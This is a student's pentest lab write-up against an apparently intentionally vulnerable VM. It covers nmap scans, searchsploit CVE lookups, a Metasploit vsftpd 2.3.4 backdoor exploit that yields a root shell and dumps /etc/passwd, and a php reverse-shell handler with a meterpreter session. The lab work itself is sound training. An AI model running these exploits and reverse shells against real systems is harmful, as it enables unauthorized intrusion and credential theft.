

Mid term Pentest

1. Create a script to scan the cloned server (exclude your IP)

```
GNU nano 6.4 midtest2.sh
sudo nmap -sn $(ip route | awk '{print $3}' | awk -F. '{print $1"."$2"."$3".0/24"}') | grep "Nmap scan report" | awk '{print $NF}'
```

Output:

```
(moriarty@kali)-[~/pen_mid]
└─$ bash "midtest2.sh"
Failed to resolve "eth0 ... 0".
Failed to resolve "eth0 ... 0".
Failed to resolve "eth0 ... 0".
10.0.2.1
10.0.2.2
10.0.2.3
10.0.2.6
10.0.2.15
```

2. Add to your script, scan for **versions** of all the **opening ports**, saving to an **xml** file, and using **searchsploit** to find the vulnerabilities. Find at least three 3 CVEs from Exploit-DB.

```
(moriarty@kali)-[~/pen_mid]
└─$ nmap --open -sV 10.0.2.6 -oX scan.xml
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-03-21 02:11 PDT
Nmap scan report for 10.0.2.6
Host is up (0.0064s latency).
Not shown: 978 closed tcp ports (reset), 19 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT      STATE SERVICE VERSION
21/tcp    open  ftp      vsftpd 2.3.4
80/tcp    open  http     Apache httpd 2.2.8 ((Ubuntu) DAV/2)
2121/tcp  open  ftp      ProFTPD 1.3.1
MAC Address: 08:00:27:29:E3:9E (Oracle VirtualBox virtual NIC)
Service Info: OS: Unix
```

```

(moriarty@kali)-[~/pen_mid]
└─$ searchsploit --map scan.xml
[!] Searchsploit's XML mode (without verbose enabled). To enable: searchsploit -v --xml...
[!] Reading: 'scan.xml'

[-] Skipping term: ftp (Term is too general. Please re-search manually: /usr/bin/searchsploit -t ftp)

[!] /usr/bin/searchsploit -t vsftpd

Exploit Title | Path
-----|-----
vsftpd 2.0.5 - 'CMD' (Authenticated) Remote Memory Consumption | linux/dos/5814.pl
vsftpd 2.0.5 - 'deny_file' Option Remote Denial of Service (1) | windows/dos/31818.sh
vsftpd 2.0.5 - 'deny_file' Option Remote Denial of Service (2) | windows/dos/31816.pl
vsftpd 2.3.2 - Denial of Service | linux/dos/16278.c
vsftpd 2.3.4 - Backdoor Command Execution | unix/remote/49757.py
vsftpd 2.3.4 - Backdoor Command Execution (Metasploit) | unix/remote/17491.rb
vsftpd 3.0.3 - Remote Denial of Service | multiple/remote/49719.py

Shellcodes: No Results

[-] Skipping term: http (Term is too general. Please re-search manually: /usr/bin/searchsploit -t http)

[!] /usr/bin/searchsploit -t apache httpd

Exploit Title | Path
-----|-----
Apache 0.8.x/1.0.x / WCA HTTPD 1.x - 'test-cgi' Directory Listing | cgi/remote/20435.txt
Apache 1.1 / WCA HTTPD 1.2.2 / Netscape Server 1.22/1.12.0 - a nph-test-cgi | multiple/dos/19536.txt
Apache Httpd mod_proxy - Error Page Cross-Site Scripting | multiple/webapps/47686.md
Apache Httpd mod_rewrite - Open Redirects | multiple/webapps/47689.md
WCA 1.3/1.4.x/1.5 / Apache HTTPD 0.8.11/0.8.14 - ScriptAlias Source Retrieval | multiple/remote/28595.txt

Shellcodes: No Results

[!] /usr/bin/searchsploit -t proftpd

Exploit Title | Path
-----|-----
FreeBSD - 'ftpd / ProFTPD' Remote Command Execution | freebsd/remote/18181.txt
ProFTPD - 'ftpdctl' 'pr_ctrls_connect' Local Overflow | linux/local/394.c
ProFTPD - 'mod_mysql' Authentication Bypass | multiple/remote/8837.txt
ProFTPD - 'mod_ftp' Integer Overflow Denial of Service (PoC) | linux/dos/16129.txt

```

```

(moriarty@kali)-[~/pen_mid]
└─$ searchsploit -p 36803
Exploit: ProFTPD 1.3.5 - 'mod_copy' Remote Command Execution
URL: https://www.exploit-db.com/exploits/36803
Path: /usr/share/exploitdb/exploits/linux/remote/36803.py
Codes: CVE-2015-3306, OSVDB-120834
Verified: False
File Type: ASCII text

(moriarty@kali)-[~/pen_mid]
└─$ searchsploit -p 20690
Exploit: WU-FTPD 2.4/2.5/2.6 / Trolltech ftpd 1.2 / ProFTPD 1.2 / BeroFTPD 1.3.4 FTP - glob Expansion
URL: https://www.exploit-db.com/exploits/20690
Path: /usr/share/exploitdb/exploits/linux/remote/20690.sh
Codes: CVE-2001-1501, OSVDB-526
Verified: True
File Type: ASCII text

(moriarty@kali)-[~/pen_mid]
└─$ searchsploit -p 19087
Exploit: WU-FTPD 2.4.2 / SCO Open Server 5.0.5 / ProFTPD 1.2 pre1 - 'realpath' Remote Buffer Overflow (2)
URL: https://www.exploit-db.com/exploits/19087
Path: /usr/share/exploitdb/exploits/linux/remote/19087.c
Codes: OSVDB-9163, CVE-1999-0368
Verified: True
File Type: C source, ASCII text, with very long lines (511)

```

3. Add to your script, print the port number for **all ftp services**, along with its **version**

```

(moriarty@kali)-[~/pen_mid]
└─$ nmap --open -sV 10.0.2.6
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-03-21 06:18 PDT
Nmap scan report for 10.0.2.6
Host is up (0.0068s latency).
Not shown: 978 closed tcp ports (reset), 19 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT      STATE SERVICE VERSION
21/tcp    open  ftp      vsftpd 2.3.4
80/tcp    open  http     Apache httpd 2.2.8 ((Ubuntu) DAV/2)
2121/tcp  open  ftp      ProFTPD 1.3.1
MAC Address: 08:00:27:29:E3:9E (Oracle VirtualBox virtual NIC)
Service Info: OS: Unix

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.84 seconds

```

4. Add to your script, enumerate the system and find the **OS** version

```
(moriarty@kali)-[~/pen_mid]
$ nmap --open -A -O 10.0.2.6
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-03-21 06:21 PDT
Nmap scan report for 10.0.2.6
Host is up (0.0046s latency).
Not shown: 978 closed tcp ports (reset), 19 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT      STATE SERVICE VERSION
21/tcp    open  ftp      vsftpd 2.3.4
|_ftp-anon: got code 500 "OOPS: cannot change directory:/nonexistent".
80/tcp    open  http     Apache httpd 2.2.8 ((Ubuntu) DAV/2)
|_http-title: Site doesn't have a title (text/html).
|_http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Apache/2.2.8 (Ubuntu) DAV/2
2121/tcp  open  ftp      ProFTPD 1.3.1
MAC Address: 08:00:27:29:E3:9E (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 2.6.X
OS CPE: cpe:/o:linux:linux_kernel:2.6
OS details: Linux 2.6.9 - 2.6.33
Network Distance: 1 hop
Service Info: OS: Unix

TRACEROUTE
HOP RTT      ADDRESS
1   4.61 ms  10.0.2.6
```

Task 2

1. (Given the leaked credentials: **nate,1234**) The FTP service's configuration seems flawed. It enables write permissions, posing a severe vulnerability. Find a way to breach the system and find the contents of the file **/etc/passwd**

```

msf6 > use 0
[*] No payload configured, defaulting to cmd/unix/interact
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set rhosts 10.0.2.6
rhosts => 10.0.2.6
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit
[*] 10.0.2.6:21 - The port used by the backdoor bind listener is already open
[+] 10.0.2.6:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (10.0.2.15:36883 -> 10.0.2.6:6200) at 2025-03-21 08:30:07 -0700

whoami
root
cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
dhcp:x:101:102::/nonexistent:/bin/false
syslog:x:102:103::/home/syslog:/bin/false
sshd:x:104:65534::/var/run/sshd:/usr/sbin/nologin
msfadmin:x:1000:1000:msfadmin,,,:/home/msfadmin:/bin/bash
bind:x:105:113::/var/cache/bind:/bin/false
postfix:x:106:115::/var/spool/postfix:/bin/false
mysql:x:109:118:MySQL Server,,,:/var/lib/mysql:/bin/false
tomcat55:x:110:65534::/usr/share/tomcat5.5:/bin/false
distccd:x:111:65534:::/bin/false
telnetd:x:112:120::/nonexistent:/bin/false
proftpd:x:113:65534::/var/run/proftpd:/bin/false
statd:x:114:65534::/var/lib/nfs:/bin/false
nate:x:1001:1001,,,:/home/nate:/bin/bash

```

2. Elevate the session permissions and find the filenames inside the root Desktop directory

```

View the full module info with the info, or info -d command.

msf6 exploit(multi/handler) > set payload php/reverse_php
payload => php/reverse_php
msf6 exploit(multi/handler) > set lhost 10.0.2.15
lhost => 10.0.2.15
msf6 exploit(multi/handler) > set lport 6666
lport => 6666
msf6 exploit(multi/handler) > run
[*] Started reverse TCP handler on 10.0.2.15:6666

```



```

pwd
/home/nate
cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh

```

3. Find vulnerabilities to log into the server and crack the passwords of **root**, and **msfadmin**

```

meterpreter > pwd
/
meterpreter > ls
Listing: /

```

Mode	Size	Type	Last modified	Name
040755/rwxr-xr-x	4096	dir	2012-05-13 23:35:33 -0400	bin

```

meterpreter > ls /root/Desktop
Listing: /root/Desktop

```

Mode	Size	Type	Last modified	Name
100700/rwx-----	72	fil	2021-09-09 07:38:21 -0400	topsecurity

```

meterpreter > █

```